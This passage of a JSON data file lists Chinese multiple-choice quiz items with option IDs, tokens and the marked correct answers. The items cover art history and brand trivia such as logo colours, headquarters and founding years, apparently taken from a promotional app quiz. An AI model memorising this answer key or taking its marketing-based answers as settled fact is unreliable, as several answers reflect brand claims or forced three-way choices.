16:47:32","status":"1"},{"questionId":"6001430944","questionIndex":"1","questionStem":"请问以下哪幅作品不是宋徽宗赵佶所作?","options":"[{\"optionId\":\"LcQSx0BQjze9smyuzuBc81IGCbhLQHLTKZIU\",\"optionDesc\":\"《溪山行旅图》\"},{\"optionId\":\"LcQSx0BQjze9smyuzuBc8VRqyYnj9il5HfS6\",\"optionDesc\":\"《听琴图》\"},{\"optionId\":\"LcQSx0BQjze9smyuzuBc8KAkvXdD4lGC3fks\",\"optionDesc\":\"《瑞鹤图》\"}]","questionToken":"LcQSx0BQjze9smz83ahHoV56rBfl6x1uvcw3PUrwtInd7G02_wZm_w4RVhvzIzWy8dAzPgRS4B2EmjSENWrlPbb36YhbwA","correct":"{\"optionId\":\"LcQSx0BQjze9smyuzuBc81IGCbhLQHLTKZIU\",\"optionDesc\":\"《溪山行旅图》\"}","create_time":"2/2/2021 16:48:09","update_time":"2/2/2021 16:48:09","status":"1"},{"questionId":"6001430945","questionIndex":"4","questionStem":"莫高窟壁画《鹿王本生图》创作于哪个朝代?","options":"[{\"optionId\":\"LcQSx0BQjze9s2yuzuBc8LCQbPhDhqFLQGsR4A\",\"optionDesc\":\"北周\"},{\"optionId\":\"LcQSx0BQjze9s2yuzuBc8US2eFjyvQBgmPAOPg\",\"optionDesc\":\"唐代\"},{\"optionId\":\"LcQSx0BQjze9s2yuzuBc85uNuYSKRBZKlnkn9A\",\"optionDesc\":\"北魏\"}]","questionToken":"LcQSx0BQjze9s2z53ahHpl6dU2NkUOPr7DlU4bXTvnpHsveh3Gq1zUgX9FuAMTnAnYre7YSpCcaEmlluJBgGCE122Z8Fng","correct":"{\"optionId\":\"LcQSx0BQjze9s2yuzuBc85uNuYSKRBZKlnkn9A\",\"optionDesc\":\"北魏\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430946","questionIndex":"2","questionStem":"以下哪座唐代墓葬中发现了壁画《马球图》?","options":"[{\"optionId\":\"LcQSx0BQjze9sGyuzuBc8GVb1qwKbvtQNGDYeg\",\"optionDesc\":\"懿德太子墓\"},{\"optionId\":\"LcQSx0BQjze9sGyuzuBc8Sud_j56HSIyk4vr9g\",\"optionDesc\":\"永泰公主墓\"},{\"optionId\":\"LcQSx0BQjze9sGyuzuBc815m7KixncWNinjHGA\",\"optionDesc\":\"章怀太子墓\"}]","questionToken":"LcQSx0BQjze9sGz_3ahHoZUQ5YjzR7k6y78-kxUXNIukvo8Qw5fNEGJoBo25KLBUFPYCZGZfvnpP40hNWQqvtIW5Uw5hpg","correct":"{\"optionId\":\"LcQSx0BQjze9sGyuzuBc815m7KixncWNinjHGA\",\"optionDesc\":\"章怀太子墓\"}","create_time":"2/2/2021 16:48:18","update_time":"2/2/2021 16:48:18","status":"1"},{"questionId":"6001430947","questionIndex":"3","questionStem":"著名的法海寺明代壁画位于哪个城市?","options":"[{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8JKUDct1rhZ4LhWu\",\"optionDesc\":\"南京\"},{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8xx1TmIv0CWD5oSw\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8SHYFQOo1GBzm8os\",\"optionDesc\":\"西安\"}]","questionToken":"LcQSx0BQjze9sWz-3ahHpoJZ3ayO3zZsvZcl_ZdU9HGRI4ndac_fgN8dsKd-oX7J0_fjNU7FXwbvpUWDJappoC2Nj2I7FA","correct":"{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8xx1TmIv0CWD5oSw\",\"optionDesc\":\"北京\"}","create_time":"2/2/2021 16:48:03","update_time":"2/2/2021 16:48:03","status":"1"},{"questionId":"6001430948","questionIndex":"5","questionStem":"莫高窟中现存最古老的壁画属于什么时期?","options":"[{\"optionId\":\"LcQSx0BQjze9vmyuzuBc8QvuaAb9D_SgC4XC\",\"optionDesc\":\"西晋\"},{\"optionId\":\"LcQSx0BQjze9vmyuzuBc811CazsbhjC7wWE4\",\"optionDesc\":\"十六国\"},{\"optionId\":\"LcQSx0BQjze9vmyuzuBc8CDkXvOoEn11CclP\",\"optionDesc\":\"北魏\"}]","questionToken":"LcQSx0BQjze9vmz43ahHpqB2_xq0po7v_eBIGZJplPBMiVClyTYcNC0vhd8f0BVviFC7mAmsmNO6I0OWWeRPZ0GA1UTpwA","correct":"{\"optionId\":\"LcQSx0BQjze9vmyuzuBc811CazsbhjC7wWE4\",\"optionDesc\":\"十六国\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430949","questionIndex":"5","questionStem":"八仙中的哪一位能让牡丹变色?","options":"[{\"optionId\":\"LcQSx0BQjze9v2yuzuBc8IQIXyWnViCeb6g\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjze9v2yuzuBc8SygCS7cl6Q51OQ\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"LcQSx0BQjze9v2yuzuBc89yyR4TraQ4GK5E\",\"optionDesc\":\"韩湘子\"}]","questionToken":"LcQSx0BQjze9v2z43ahHoSQZDaQDIEfygteCj8mlc2fpzsObCJ7xUjzrjxf82BKZ5qa_anTSvSlstYPhmmCZWKv0AeMuCQ","correct":"{\"optionId\":\"LcQSx0BQjze9v2yuzuBc89yyR4TraQ4GK5E\",\"optionDesc\":\"韩湘子\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"6101434016","questionIndex":"3","questionStem":"济民可信的LOGO是什么颜色?","options":"[{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJaAXVMmZPGsKyqn9e\",\"optionDesc\":\"金色\"},{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJanyPEFUbq5RRSJMm\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJaZ6aSgzJx_JICAPs\",\"optionDesc\":\"白色\"}]","questionToken":"LcUSx0BQiz4j_m0H_ioSP2GBTReuVUUHrXSE6fk1EE99702Q6clUx9wv0dFXCcBr64UtqqgWi77oFOl_d4HILju2r-HoVQ","correct":"{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJanyPEFUbq5RRSJMm\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:48:04","update_time":"2/2/2021 16:48:04","status":"1"},{"questionId":"6101434018","questionIndex":"3","questionStem":"顾家是做什么起家的?","options":"[{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJapMoqrEfA92KhO_6Ww\",\"optionDesc\":\"沙发\"},{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJaHk69MiDyP3-tKIWaw\",\"optionDesc\":\"椅子\"},{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJafn5m9DvYucn-EYdiQ\",\"optionDesc\":\"床垫\"}]","questionToken":"LcUSx0BQiz4j8G0H_ioSOMZARwgSSnhoXG6RG9RjAu3H_3wkPcEmHty6rxSGwKanipLfet38VkfGQmQQuGEJjR9t9Ef4Gg","correct":"{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJapMoqrEfA92KhO_6Ww\",\"optionDesc\":\"沙发\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6101434019","questionIndex":"3","questionStem":"顾家的总部在哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJabWgpPchUjaHTI8OWg\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJapCMN5yc0H5-z_FI_w\",\"optionDesc\":\"杭州\"},{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJaFwQWu1zVE_9Lt-g9w\",\"optionDesc\":\"北京\"}]","questionToken":"LcUSx0BQiz4j8W0H_ioSOD3un8Yh6LUX_z0IIbY4yo8IA1fRv5R0V5JmfwmmpMF-pf0lcENYGCIWcyLVk30MDzgMzpRkDg","correct":"{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJapCMN5yc0H5-z_FI_w\",\"optionDesc\":\"杭州\"}","create_time":"2/2/2021 16:48:11","update_time":"2/2/2021 16:48:11","status":"1"},{"questionId":"6101434020","questionIndex":"5","questionStem":"顾家家居的logo颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJaiolm78Kf6ukQTnE\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJad46JfOV_yhiXFev\",\"optionDesc\":\"黑色\"},{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJaDoKJ8FAUmS1gcMJ\",\"optionDesc\":\"绿色\"}]","questionToken":"LcUSx0BQiz4g-G0B_ioSP-v8N80V4PC__w8R9ycJ97Vws1sgmfgE_rBUoJf6QZZ9L0BVNiipNQ9eRzAXW6siH7o-KLWlmA","correct":"{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJaiolm78Kf6ukQTnE\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434021","questionIndex":"4","questionStem":"海天的logo颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJaR0XHU5bNA8CGRs\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJakxViazEg__9iws\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJaGPmksIqFpMhfRc\",\"optionDesc\":\"绿色\"}]","questionToken":"LcUSx0BQiz4g-W0A_ioSOA6_YGvFOoCACzKic5UvpoASAyMEj7-vHVJIsGZZE577Yz5W-NQhI1vvTVhoFt2n0BnmV1EHkg","correct":"{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJakxViazEg__9iws\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:47:43","update_time":"2/2/2021 16:47:43","status":"1"},{"questionId":"6101434022","questionIndex":"1","questionStem":"海天主要卖什么产品?","options":"[{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaVJIBU0hgJKJ-vyc\",\"optionDesc\":\"电子设备\"},{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaCuDbBoWRs4Oct94\",\"optionDesc\":\"清洁用品\"},{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaid5i5KFXSg-U1r_\",\"optionDesc\":\"调味品\"}]","questionToken":"LcUSx0BQiz4g-m0F_ioSOD8zKQaZ6nxQwDzK5XbLS7x54QkPmlCGwd673EeTv1uwfhGYx0PaUk25uPin-XEvlrf-JLlNKg","correct":"{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaid5i5KFXSg-U1r_\",\"optionDesc\":\"调味品\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6101434023","questionIndex":"5","questionStem":"海天工厂总部在哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4g-21X7WIJaEsFUvkdwNCa1aC4pg\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcUSx0BQiz4g-21X7WIJaZixMzN4IaMbXWG9Ug\",\"optionDesc\":\"四川成都\"},{\"optionId\":\"LcUSx0BQiz4g-21X7WIJatoL-flaBCv3-HMbGg\",\"optionDesc\":\"广东佛山\"}]","questionToken":"LcUSx0BQiz4g-20B_ioSODR9NtZQyZovRvEhC5-_XXaDA7DyRmwmxZIUipS1Exlnz--i9sao62jmqb8PcZIDVLAp5zkYkQ","correct":"{\"optionId\":\"LcUSx0BQiz4g-21X7WIJatoL-flaBCv3-HMbGg\",\"optionDesc\":\"广东佛山\"}","create_time":"2/2/2021 16:48:18","update_time":"2/2/2021 16:48:18","status":"1"},{"questionId":"6101434024","questionIndex":"2","questionStem":"惠氏启赋的罐子是什么颜色的?","options":"[{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJadV3J-MgqqlVCyP6\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJaBUo6Qnp7N5iEmxM\",\"optionDesc\":\"黄色\"},{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJagDEOWEDlXtJOjeC\",\"optionDesc\":\"蓝色\"}]","questionToken":"LcUSx0BQiz4g_G0G_ioSP35pDaT57yk2_Y1dayFyXYbISQDsjlZvGw05iLFN66X7XMITgLzaPeqtwm4WM0cD_M4tkvVY2A","correct":"{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJagDEOWEDlXtJOjeC\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6101434025","questionIndex":"3","questionStem":"惠氏有机奶粉的奶源来自哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaUvKNRJelhckMMYe\",\"optionDesc\":\"印度\"},{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaiH_PHreb36niLOz\",\"optionDesc\":\"爱尔兰\"},{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaBZ-OA4kPBAilEvp\",\"optionDesc\":\"西班牙\"}]","questionToken":"LcUSx0BQiz4g_W0H_ioSPwXYglx3uAe-uFO75vPzEl46IypgQ5PsJ9OZ6Dq1-1QRlyHppOP9OC4NI-Up1b7E5gOh16IvuA","correct":"{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaiH_PHreb36niLOz\",\"optionDesc\":\"爱尔兰\"}","create_time":"2/2/2021 16:48:15","update_time":"2/2/2021 16:48:15","status":"1"},{"questionId":"6101434026","questionIndex":"1","questionStem":"以下哪个选项是惠氏铂臻奶粉没有的成分?","options":"[{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJal1vHZZGXirbdVimvw\",\"optionDesc\":\"珍稀植物钙\"},{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJaB9-XNyxUudcoqvp2w\",\"optionDesc\":\"双短链益生元\"},{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJaVaAHljuyrQMwcI17g\",\"optionDesc\":\"脑磷脂群\"}]","questionToken":"LcUSx0BQiz4g_m0F_ioSOAHu3tYM7TzP-0DnoAIanSO0VX8T_ptI2y9hPUXkzTBjHfKASwIyhnqoDSikvctRKESo8XJv9A","correct":"{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJal1vHZZGXirbdVimvw\",\"optionDesc\":\"珍稀植物钙\"}","create_time":"2/2/2021 16:48:15","update_time":"2/2/2021 16:48:15","status":"1"},{"questionId":"6101434027","questionIndex":"1","questionStem":"福临门logo的颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4g_21X7WIJanhJjPhPpYpr8TbP\",\"optionDesc\":\"黄色\"},{\"optionId\":\"LcUSx0BQiz4g_21X7WIJadvl3vjRJmZpSuFv\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4g_21X7WIJaJFyf8a2TQ4WvNfO\",\"optionDesc\":\"黑色\"}]","questionToken":"LcUSx0BQiz4g_20F_ioSOHx-OH475HjnI0BXuX0P0DlbwfcCk2v_VSRuBV8sVDSbcuKNgVnysUPf4II4lVOKyCPfeo-7bw","correct":"{\"optionId\":\"LcUSx0BQiz4g_21X7WIJanhJjPhPpYpr8TbP\",\"optionDesc\":\"黄色\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6101434028","questionIndex":"4","questionStem":"福临门成立时间是哪一年?","options":"[{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJaSLWyFUIy-5MTltGWg\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJaJlKv6Qvmu0TP_hA9A\",\"optionDesc\":\"2020年\"},{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJanXckfU03SY492pM0A\",\"optionDesc\":\"2007年\"}]","questionToken":"LcUSx0BQiz4g8G0A_ioSP_bePo5XNP0PbRvOxOUE5B8kGrJSdp9r0SsJbsBiXZn1signiR6jci5xubXUQDuvIOCJHgYS4g","correct":"{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJanXckfU03SY492pM0A\",\"optionDesc\":\"2007年\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"6101434029","questionIndex":"1","questionStem":"以下哪个属于福临门产品?","options":"[{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJarL1uh3lC4urmg\",\"optionDesc\":\"食用油\"},{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJaKNPARHfUCER7w\",\"optionDesc\":\"薯片\"},{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJacixSfMezZ8mTA\",\"optionDesc\":\"抽纸\"}]","questionToken":"LcUSx0BQiz4g8W0F_ioSPzO2BMXZp5m4YE2ylIfrhGrMRilPmN00T-cJt0lSyfNdHFnGokDmkJmhcqg-3eSMq3_AAloZUw","correct":"{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJarL1uh3lC4urmg\",\"optionDesc\":\"食用油\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6101434030","questionIndex":"1","questionStem":"费列罗源自于哪国?","options":"[{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJaU2dF7qobhe0Q9gH\",\"optionDesc\":\"德国\"},{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJaOTRIKA7Mg4kPYtH\",\"optionDesc\":\"英国\"},{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJavKIe-DuhEY3rfAy\",\"optionDesc\":\"意大利\"}]","questionToken":"LcUSx0BQiz4h-G0F_ioSP2tJk0FAiOwh9eDgMBvJKTITS31nZU9FFITwNr3vSjU4xzeVT-_4g581TwLyrkoLmWr5-IxjoQ","correct":"{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJavKIe-DuhEY3rfAy\",\"optionDesc\":\"意大利\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434031","questionIndex":"5","questionStem":"费列罗主要卖什么产品?","options":"[{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJakE3kWiSzVodX6zrMg\",\"optionDesc\":\"巧克力\"},{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJaeqYZmLxYQlkJ7mfCQ\",\"optionDesc\":\"面包\"},{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJaMlyCGPJGf4W24GjPA\",\"optionDesc\":\"牛奶\"}]","questionToken":"LcUSx0BQiz4h-W0B_ioSP5MFvKlQGucvx22oq7BYd-q5jKenVoUfXtwGfv84vynCCVPFotTLuWxsnhjIj3PQjJsUGaW-CQ","correct":"{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJakE3kWiSzVodX6zrMg\",\"optionDesc\":\"巧克力\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6101434032","questionIndex":"5","questionStem":"费列罗logo的颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJapuwcCN6Mvh-dFI\",\"optionDesc\":\"咖啡色\"},{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJaaQZt18XHYkrQbs\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJaBSSeC4xg3FB9vA\",\"optionDesc\":\"黄色\"}]","questionToken":"LcUSx0BQiz4h-m0B_ioSOCsYL6nH3YTaIhyjMviOwf6IYzB5-yLkxE8isntKJAQIgYvA_LqdzffXK-IHKAp3kAOg9ZLDZg","correct":"{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJapuwcCN6Mvh-dFI\",\"optionDesc\":\"咖啡色\"}","create_time":"2/2/2021 16:47:44","update_time":"2/2/2021 16:47:44","status":"1"},{"questionId":"6101434033","questionIndex":"1","questionStem":"惠而浦总部位于哪个国家?","options":"[{\"optionId\":\"LcUSx0BQiz4h-21X7WIJaJFKb8vZpqkGpkGmvA\",\"optionDesc\":\"意大利\"},{\"optionId\":\"LcUSx0BQiz4h-21X7WIJaecnuyvUQuvatIrOSw\",\"optionDesc\":\"德国\"},{\"optionId\":\"LcUSx0BQiz4h-21X7WIJameNvW0WliEn7N935g\",\"optionDesc\":\"美国\"}]","questionToken":"LcUSx0BQiz4h-20F_ioSPxd7xgd49RFrlG1Zk8S8ltsmMJlfnEKXDw27GMua6yEudjfFnsReOJjvx9pdWfPuhc8wtrTAgw","correct":"{\"optionId\":\"LcUSx0BQiz4h-21X7WIJameNvW0WliEn7N935g\",\"optionDesc\":\"美国\"}","create_time":"2/2/2021 16:48:28","update_time":"2/2/2021 16:48:28","status":"1"},{"questionId":"6101434034","questionIndex":"5","questionStem":"惠而浦创立至今多少年了?","options":"[{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJaJ7WtX0rpgM4f7s\",\"optionDesc\":\"29年\"},{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJapQZcxW2YA6qhvo\",\"optionDesc\":\"99年\"},{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJaQH8jPAlEw018vU\",\"optionDesc\":\"59年\"}]","questionToken":"LcUSx0BQiz4h_G0B_ioSOMBl0HuyWrhxSQajYCNwiCmjb1u1wqBgK6P7H42sLQNrHWBYsoTEtOwCu74qKnT43hHg-vx5dg","correct":"{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJapQZcxW2YA6qhvo\",\"optionDesc\":\"99年\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434035","questionIndex":"3","questionStem":"惠而浦的售后保障是?","options":"[{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJaYNU94Q7S97X5zQ\",\"optionDesc\":\"整机保修2年\"},{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJaLbF1cAv6IIQJlc\",\"optionDesc\":\"整机保修1年\"},{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJakv9nYROMoYYQTE\",\"optionDesc\":\"整机保修3年\"}]","questionToken":"LcUSx0BQiz4h_W0H_ioSOCt9hnx5PAhL1tTGloDa9LPjUAcVFlPupevHC8JZrs99ulbyB4DFf5nm6cJKKvo4FddkDdEjjg","correct":"{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJakv9nYROMoYYQTE\",\"optionDesc\":\"整机保修3年\"}","create_time":"2/2/2021 16:47:44","update_time":"2/2/2021 16:47:44","status":"1"},{"questionId":"6101434036","questionIndex":"4","questionStem":"科沃斯2020年销量最大的产品是?","options":"[{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJasWktFdQy6KlNdLU\",\"optionDesc\":\"扫地机器人\"},{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJaXyAMFU9ERcHoN8T\",\"optionDesc\":\"擦窗机器人\"},{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJaN0_ZJY14_lMb-_v\",\"optionDesc\":\"空气净化机器人\"}]","questionToken":"LcUSx0BQiz4h_m0A_ioSOFqw8uTjWpKp8pkI3eJ4_llbRbGKZNkBpC8lyi16cIuj81jm901VyHHiV3FRTtUXy2M4vz0dyw","correct":"{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJasWktFdQy6KlNdLU\",\"optionDesc\":\"扫地机器人\"}","create_time":"2/2/2021 16:47:43","update_time":"2/2/2021 16:47:43","status":"1"},{"questionId":"6101434037","questionIndex":"3","questionStem":"科沃斯成立于哪一年?","options":"[{\"optionId\":\"LcUSx0BQiz4h_21X7WIJasepXKWlG3y-sa9v\",\"optionDesc\":\"1998年\"},{\"optionId\":\"LcUSx0BQiz4h_21X7WIJaArafFLQjN31ZNe6\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LcUSx0BQiz4h_21X7WIJae43l1XJaYRVfKKL\",\"optionDesc\":\"2008年\"}]","questionToken":"LcUSx0BQiz4h_20H_ioSOLdcwBbh6q5Csfjuylccq_hJwxJBPBWcsTuGxMcxL7Ln-9r7R8x3HrYiDaz4aHlOaN4q_zkgMA","correct":"{\"optionId\":\"LcUSx0BQiz4h_21X7WIJasepXKWlG3y-sa9v\",\"optionDesc\":\"1998年\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6101434038","questionIndex":"2","questionStem":"科沃斯总部位于?","options":"[{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJaOIIckccmk104E7D\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJaYte8yohD_4WjT6i\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJakIBtK0TwxKQyadY\",\"optionDesc\":\"苏州\"}]","questionToken":"LcUSx0BQiz4h8G0G_ioSODdMJBJXczJRrj0Sy3nZpesrdT2ANVQEuSYZd6CXnEXYaQ7KRjk2iP1-_MEBcf9gaKGZzblvqg","correct":"{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJakIBtK0TwxKQyadY\",\"optionDesc\":\"苏州\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6101434039","questionIndex":"4","questionStem":"外交官品牌创自于?","options":"[{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJae7AuLPpYxZMI78V\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJaBAshvOIyGNqutvt\",\"optionDesc\":\"广州\"},{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJal8PbG-dBBukZqTc\",\"optionDesc\":\"台湾\"}]","questionToken":"LcUSx0BQiz4h8W0A_ioSP93IyQcinBeiW_vZyr5bBa0Lqy3Sp40jyvgk9gdrhBy3vf5-9JIOKTNK9hnSwDKq7vTgCkjVZw","correct":"{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJal8PbG-dBBukZqTc\",\"optionDesc\":\"台湾\"}","create_time":"2/2/2021 16:48:38","update_time":"2/2/2021 16:48:38","status":"1"},{"questionId":"6101434041","questionIndex":"2","questionStem":"外交官品牌到2021诞生多少周年?","options":"[{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJadYao91Hx8OdB2hy\",\"optionDesc\":\"30\"},{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJaGFYUqsjV7CO-CTZ\",\"optionDesc\":\"60\"},{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJaqXTC4OFFBYM4ItE\",\"optionDesc\":\"50\"}]","questionToken":"LcUSx0BQiz4m-W0G_ioSP7M6md-uTLFBRDHSiqyy51PS2_1c2hAZc4SCrLxz0egDbdikAxlvD2OCbQ8kKNPACo4vceEs-Q","correct":"{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJaqXTC4OFFBYM4ItE\",\"optionDesc\":\"50\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434042","questionIndex":"1","questionStem":"维他奶成立多少年了?","options":"[{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJamtrMXPU160KJwA\",\"optionDesc\":\"80\"},{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJaeryyzfONTcXPwA\",\"optionDesc\":\"60\"},{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJaKNpqfTdLcBluIw\",\"optionDesc\":\"40\"}]","questionToken":"LcUSx0BQiz4m-m0F_ioSOOwA7YP8udVPIIlpuShnmshVxn-5PQArCRPlMkO6JsNiy5PJQHzCj0sPU9YZXaufzppM5_Gokg","correct":"{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJamtrMXPU160KJwA\",\"optionDesc\":\"80\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434043","questionIndex":"2","questionStem":"维他奶属于什么类型的奶?","options":"[{\"optionId\":\"LcUSx0BQiz4m-21X7WIJaB81wVHuis_tdg\",\"optionDesc\":\"固态奶\"},{\"optionId\":\"LcUSx0BQiz4m-21X7WIJatFNUVtXCzpqfA\",\"optionDesc\":\"植物蛋白饮料\"},{\"optionId\":\"LcUSx0BQiz4m-21X7WIJadpvCzLdjFl9Gw\",\"optionDesc\":\"动物奶\"}]","questionToken":"LcUSx0BQiz4m-20G_ioSOAZz_po034yY-QjMTZvj5kXm2zGetsQeqLfo0UITnK55Nkt1Ok4Usa61LFgNr4-zcctEfMVWuA","correct":"{\"optionId\":\"LcUSx0BQiz4m-21X7WIJatFNUVtXCzpqfA\",\"optionDesc\":\"植物蛋白饮料\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434044","questionIndex":"2","questionStem":"维他奶豆奶的主要原料是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJafLNii4dwBjf9Hs7\",\"optionDesc\":\"花生\"},{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJahdGeOTDgvK3yiMH\",\"optionDesc\":\"大豆\"},{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJaBYfiez1H-7VB3YC\",\"optionDesc\":\"红枣\"}]","questionToken":"LcUSx0BQiz4m_G0G_ioSOM7MEae6QdenWJzXVi1m7u-b54gkQ0O5e-MNAMOmLJIBSk6NsEzNuxb8z5M-ePUxEWURWFzMeQ","correct":"{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJahdGeOTDgvK3yiMH\",\"optionDesc\":\"大豆\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 